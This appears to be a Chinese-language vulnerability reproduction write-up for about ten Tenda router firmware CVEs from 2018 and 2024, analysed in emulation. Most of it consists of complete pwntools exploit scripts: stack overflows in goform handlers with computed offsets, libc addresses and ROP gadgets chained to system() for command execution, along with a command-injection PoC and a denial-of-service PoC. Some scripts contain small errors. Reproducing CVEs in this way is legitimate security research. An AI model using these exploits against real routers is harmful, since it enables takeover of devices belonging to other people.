CVE-2018-5767

配置一个虚拟桥接接口,加一个本地的br0网桥,桥接到ens32:

sudo brctl addbr br0    	# addbr:创建一个新的桥接接口。一个名为 br0 的虚拟桥接接口。
sudo brctl addif br0 ens32 	# addif:将一个物理网络接口添加到桥接接口中。 理网络接口 ens32 添加到桥接接口 br0 中。这意味着 ens32 上的流量将通过 br0 进行桥接。
sudo ifconfig br0 up	    # 用桥接接口 br0,使其开始工作。
sudo dhclient br0		    # dhclient:是一个 DHCP 客户端工具,用于从 DHCP 服务器获取 IP 地址和其他网络配置信息。 动 DHCP 客户端,从 DHCP 服务器获取 IP 地址和其他网络配置信息,并将其应用到桥接接口 br0 上。

  1. POC,大致测试是否存在漏洞:
import requests
url = "http://192.168.123.141/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)

测试说明存在栈溢出的漏洞,后续再仔细利用这个栈溢出漏洞getshell。这里为什么是cookie,关系到函数中对http的解析:

  1. 漏洞点在./bin/httpd程序中的R7WebsSecurityHandler函数里:sscanf函数:字符串 v37 中解析出 = 之后、; 之前的内容,并将该内容存储到变量 v30 中。但是临时变量v30的大小是固定,只有0x1C0。这里没有对用户的输入进行过滤也没又长度的限制,从而有机会覆盖栈劫持程序流。前提时要保证进入这个if语句中。
  2. 利用栈溢出漏洞,前提需要满足if条件,需要满足url请求,只要不再这个字符串内选就行了:用"/goform/bkbqwq"即可,来到sscanf这里:再函数退出的时候,在栈上安排好pop_r0给r0寄存器传参,pop_pc衔接到system函数调用:这里将system改为put函数,看看是否能输出"/bin/sh":可以成功输出,栈溢出利用成功。使用"-strace" 可以看到详细的一些函数的调用信息:

-strace

  • 作用:启用系统调用跟踪,显示程序运行过程中所有的系统调用。

write输出/bin/sh是成功调用到了的:

但是在执行system函数的时候,可能因为sh不存在,导致了报错,No such file or directory,但是确实是执行了。可能是因为chroot . 改变了目录的原因:

本身在固件模拟之前就无法执行这个系统调用,似乎是因为/bin/sh这个shell不存在导致的。如果是在系统态下模拟的话可以成功:

  1. exp,方便起见,可以将libc基地址提前算好(puts函数实际地址-libc库中的偏移):
import requests
from pwn import *
url = "http://192.168.72.122/goform/bkbqwq"
#lib = ELF("/home/iot/Desktop/IoT_Sec_Tutorial/CVE_reproduction/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/lib/libc.so.0")

#bin_sh = next(lib.search(b'/bin/sh'))
bin_sh = 0x626d2
#put = lib.sym["puts"]
put = 0x35cd4
#system_addr = lib.sym["system"]
system_addr = 0x5a270
success("str_sh ==> " + hex(bin_sh))
success("puts ==> " + hex(put))
success("system ==> " + hex(system_addr))

libc_base = 0x409A7000
bin_sh += libc_base
pop_r0_ret = libc_base + 0x0003db80
system_addr += libc_base
put_addr = put+libc_base
ret = 0x00016b94
payload = p32(pop_r0_ret) + p32(bin_sh) + p32(put_addr)+p32(ret)
cookie = {"Cookie":"password=" + "A"*0x1c0+payload}

requests.get(url=url, cookies=cookie)
p.interactive()

不知道为什么,用户级的qemu在ubuntu上模拟执行命令能成功:

  1. 调试看一下,程序是如何通过url来定位到每一个函数,进而调用的:可以直接调试来定位,也可以请求一个不存在url,根据报错信息来定位:
import requests
url = "http://192.168.72.140/goform/aaa"
cookie = {"Cookie":"password=111111"}
response = requests.post(url=url,cookies=cookie,data="bkbqwq")
print(response.text)

根据报错的字符串 is not defined 定位到这个函数websFormHandler:可以基本确定含有goform的请求例如("http://192.168.72.140/goform/SetPptpServerCfg"),都是通过websFormHandler函数利用**函数指针**进行调用。在ida里面无法直接看见:再引用一下,这里就非常明显:下面的sub_42378函数将对应的函数地址与标签绑定,例如如果请求的是SysStatusHandle,那么就调用fromSysStatusHandle函数来处理这个请求,就直接分析这个函数即可。反过来分析也一样:

CVE-2018-18727

  1. 限定位到缺陷函数,在依次往上层函数调用找:这里复制给a2,a2时上层函数传进来的参数往上,发现v12是局部变量,所以sub_C24C0在复制发生溢出之后,可能会覆盖sub_C17A0的返回地址,利用点就在这里。
  2. 确定我们控制的参数,sub_C24C0函数中复制的参数也是sub_C17A0传递进去的(num_deviceList):继续往上查找:继续往上:所以参数是由formSetMacFilterCfg函数中取出的 deviceList字段数据。由此可以判断,程序获取到HTTP请求中deviceList的值formSetMacFilterCfg函数被绑定在”setMacFilterCfg“上:找到,执行formSetMacFilterCfg函数的请求条件:在提取的文件系统中找到 ./webroot_ro/goform/setMacFilterCfg.txt 这样一条路径:请求goform/setMacFilterCfg路径调试一下,看看是否会进入formSetMacFilterCfg函数:可以进入该函数
  3. 漏洞利用,要进入到最后的溢出点,还要绕过前面的一些判断条件:所以,还需要加入一个macFilterType字段,参数设置为"black"或者"white" :继续进入sub_C14DC(num_macFilterType, num_deviceList)函数,这里已经取出了deviceList的值。这里只需要deviceList的值不为空即可再进入sub_C17A0(a1, num_deviceList, v10)函数:没有限制,直接进入sub_C24C0(num_deviceList, v12);进入最后的溢出函数,这里只需要num_deviceList的值中包含"\r"即可,strcpy会从"\r"后面开始复制:复制结束后返回上层函数,在上层函数sub_C17A0中完成劫持。注意构造的payload中间不能被b"\x00"截断,否则无法覆盖。
  4. exp构造:测试溢出长度:长度为176没开canary保护,直接溢出后,站上布局 ==> POP{r3,PC};system_addr;mov r0,sp;blx r3;cmd。gadget如下:提前拿到libc的基地址:puts_addr - puts_offset = 0x409f0000(我的)测试:退出返回到上层函数,成功衔接到gadget:调用到system,进行任意命令执行:成功执行命令:
import requests
from pwn import *

url = "http://192.168.72.140/goform/setMacFilterCfg"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black","deviceList": b"\r" + payload}		#必须发送字节串,否则可能会解析错误
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

CVE-2018-18708

  1. fromAddressNat函数存在栈溢出:
  2. 细致分析和上面一样,直接测试偏移:偏移为248 :这里记要检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。cpsr寄存器每bit位置如下
  3. exp,上面的一些gadget和函数偏移都不用改,修改url和请求的数据即可:
import requests
from pwn import *

url = "http://192.168.72.140/goform/addressNat"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))

system_addr = libc_base + libc.sym["puts"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8
cmd = b"echo hello bkbqwq"

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*248 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

cookie = {"Cookie":"password=12345"}
data = {"page": payload,"mitInterface": payload}

requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

成功任意命令执行:

CVE-2018-18730

  1. 最后的溢出点选在这里:
  2. 绕过的条件,满足条件3之后可自动绕过条件2:最后的sscanf只要不匹配4个即可是条件为真。
  3. Poc测试,顺便测试偏移:startIp的偏移为 ==> 372endIp的偏移为 ==> 404
  4. 上面两个任意选择一个打即可,但是选endIp的时候startIp的值要为"xx.xx.xx.xx",exp如下:
import requests
from pwn import *

url = "http://192.168.72.140/goform/SetPptpServerCfg"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload_endIp = b"a.b."+b"a"*404 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
payload_startIp = b"a.b."+b"a"*372 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd


cookie = {"Cookie":"password=12345"}
data = {"serverEn":"1","endIp": payload_endIp,"startIp":payload_startIp}		#必须发送字节串,否则可能会解析错误
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

单步调试:

sscanf成功覆盖返回值:

命令执行成功(中间肯可能需要等待一段时间)

CVE-2018-18731

  1. ida中定位到addWifiMacFilter函数:到达溢出点只需要满足一个条件即可
  2. 直接先测poc,看看偏移:走deviceId偏移为793走deviceMac偏移为 ==> 796
  3. 直接上exp:
import requests
from pwn import *

url = "http://192.168.72.140/goform/addWifiMacFilter"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*793 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd	# deviceId
#payload = b"a"*796 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd	# deviceMac

cookie = {"Cookie":"password=12345"}
data = {"deviceId": payload}
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

单步调试看看溢出:

成功覆盖:

成功执行命令:

CVE-2018-18732

  1. ida中定位到fromSetSysTime函数:满足这三个条件即可到达溢出点,条件一只需要加一个timeType字段将其设置为sync即可。条件2,查看CommitCfm函数的实现,可以发现一定会返回1:条件3这里理论上是一定可以满足的,只要SetValue函数和GetValue函数能条用成功,调试一下看看是否能调用成功:但是在SetValue函数退出的时候返回值设置为0,说明SetValue函数可能并没有调用成功看一下函数细节:在实际调试的时候发现在 第一个id条件判断的时候就进不去后续跟踪到这里,connect调用不成功。连接到服务器端套接字 /var/cfm_socket 失败导致的,可能有一些服务没启动,或者有些固件的依赖:查看还有哪些文件中存在 "/var/cfm_socket":在cfm中找到了InitServer函数,cfmd中也有这个函数,可能是用来初始化服务的,这里尝试启动这个程序,但是似乎失败了,报错一堆:这里为了复现漏洞方便,最快的方法就是直接修改条件三:最后顺利执行到溢出点位置:
  2. 测试poc,和溢出范围:溢出的距离为572exp:
import requests
from pwn import *

url = "http://192.168.72.140/goform/SetSysTimeCfg"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*572 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

cookie = {"Cookie":"password=12345"}
data = {"timeType":"sync","ntpServer": payload}		
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

最后成功执行命令:

CVE-2018-18729

  1. 定位到GetParentControlInfo函数:strcpy没有限制复制的长度
  2. 给一个超长的值给mac字段,可能会造成拒绝服务:
import requests
from pwn import *

url = "http://192.168.72.140/goform/GetParentControlInfo"

payload = "a"*0x1000

cookie = {"Cookie":"password=12345"}
data = {"mac": payload}		#必须发送字节串,否则可能会解析错误
requests.post(url=url, cookies=cookie,data=data)
requests.post(url=url, cookies=cookie,data=data)
print(response.text)

程序报错退出:

CE-2018-18728

  1. 定位到formSetSambaConf函数:只需要绕过一个条件即可,添加一个action字段赋值为"del"即可。
  2. poc测试命令注入:
import requests
from pwn import *
url = "http://192.168.72.140/goform/SetSambaCfg"

cookie = {"Cookie":"password=12345"}
data = {"action":"del","usbName": ";echo bkbqwq hello"}
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

CVE-2024-3906

  1. 定位到formQuickIndex函数:函数赋值没有限制长度,导致上层函数产生栈溢出满足一个条件即可,mit_linktype这段给"2"qemu模拟的话这里要手动取否:测试偏移为104exp:
import requests
from pwn import *

url = "http://192.168.72.140/goform/QuickIndex"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*104 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

cookie = {"Cookie":"password=12345"}
data = {"mit_linktype":"2","PPPOEPassword": payload} 
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url=url, cookies=cookie, data=data)
print(response.text)

成功执行命令:

CVE-2024-4171

  1. 定位到fromWizardHandle函数:这个函数在循环赋值得到时候没有长度限制,导致溢出:只需要绕过一个条件即可,WANT赋值为"2"但是这个程序运行起来,会在这里报错调用atoi将字符串转化为数字的时候报错:看汇编如下,这里给atoi函数传参时只给了一个字节动调显示也只有一个字节。所以这里给的参数不正确(即使是在正常的请求下也会报错)正常情况如下,应该给的参数是指向字符串的地址:修改方法,将LDRB指令改为LDR即可:
  2. 测试偏移为320:exp如下:
import requests
from pwn import *

url = "http://192.168.72.140/goform/WizardHandle"
cmd = b"echo hello bkbqwq"
libc = ELF("./lib/libc.so.0")
puts_offset = libc.sym["puts"]
success("puts_offset ==> " + hex(libc.sym["puts"]))

libc_base = 0x40a25cd4 - puts_offset
success("libc_base ==>" + hex(libc_base))
system_addr = libc_base + libc.sym["system"]
gadget1 = libc_base + 0x18298
gadget2 = libc_base + 0x40cb8

success("system ==> " + hex(system_addr))
success("gadget1 ==> "+ hex(gadget1))
success("gadget2 ==> "+ hex(gadget2))

payload = b"a"*320 + p32(gadget1) + p32(system_addrs) + p32(gadget2) + cmd

cookie = {"Cookie":"password=12345"}
data = {"WANT":"2","PPW": payload}       
requests.post(url=url, cookies=cookie,data=data)
response = requests.post(url=url, cookies=cookie, data=data)
print(response.text)

成功执行命令:

在后面不远处还有一个位置同样调用了sub_4F9E4函数,也会产生栈溢出。偏移都相同,改一下data参数即可(上面CVE-2024-3906都是因为这个函数):data = {"WANT":"2","PPW": payload} ==> data = {"WANT":"3","pppl2_pwd": payload}

同样可以执行命令: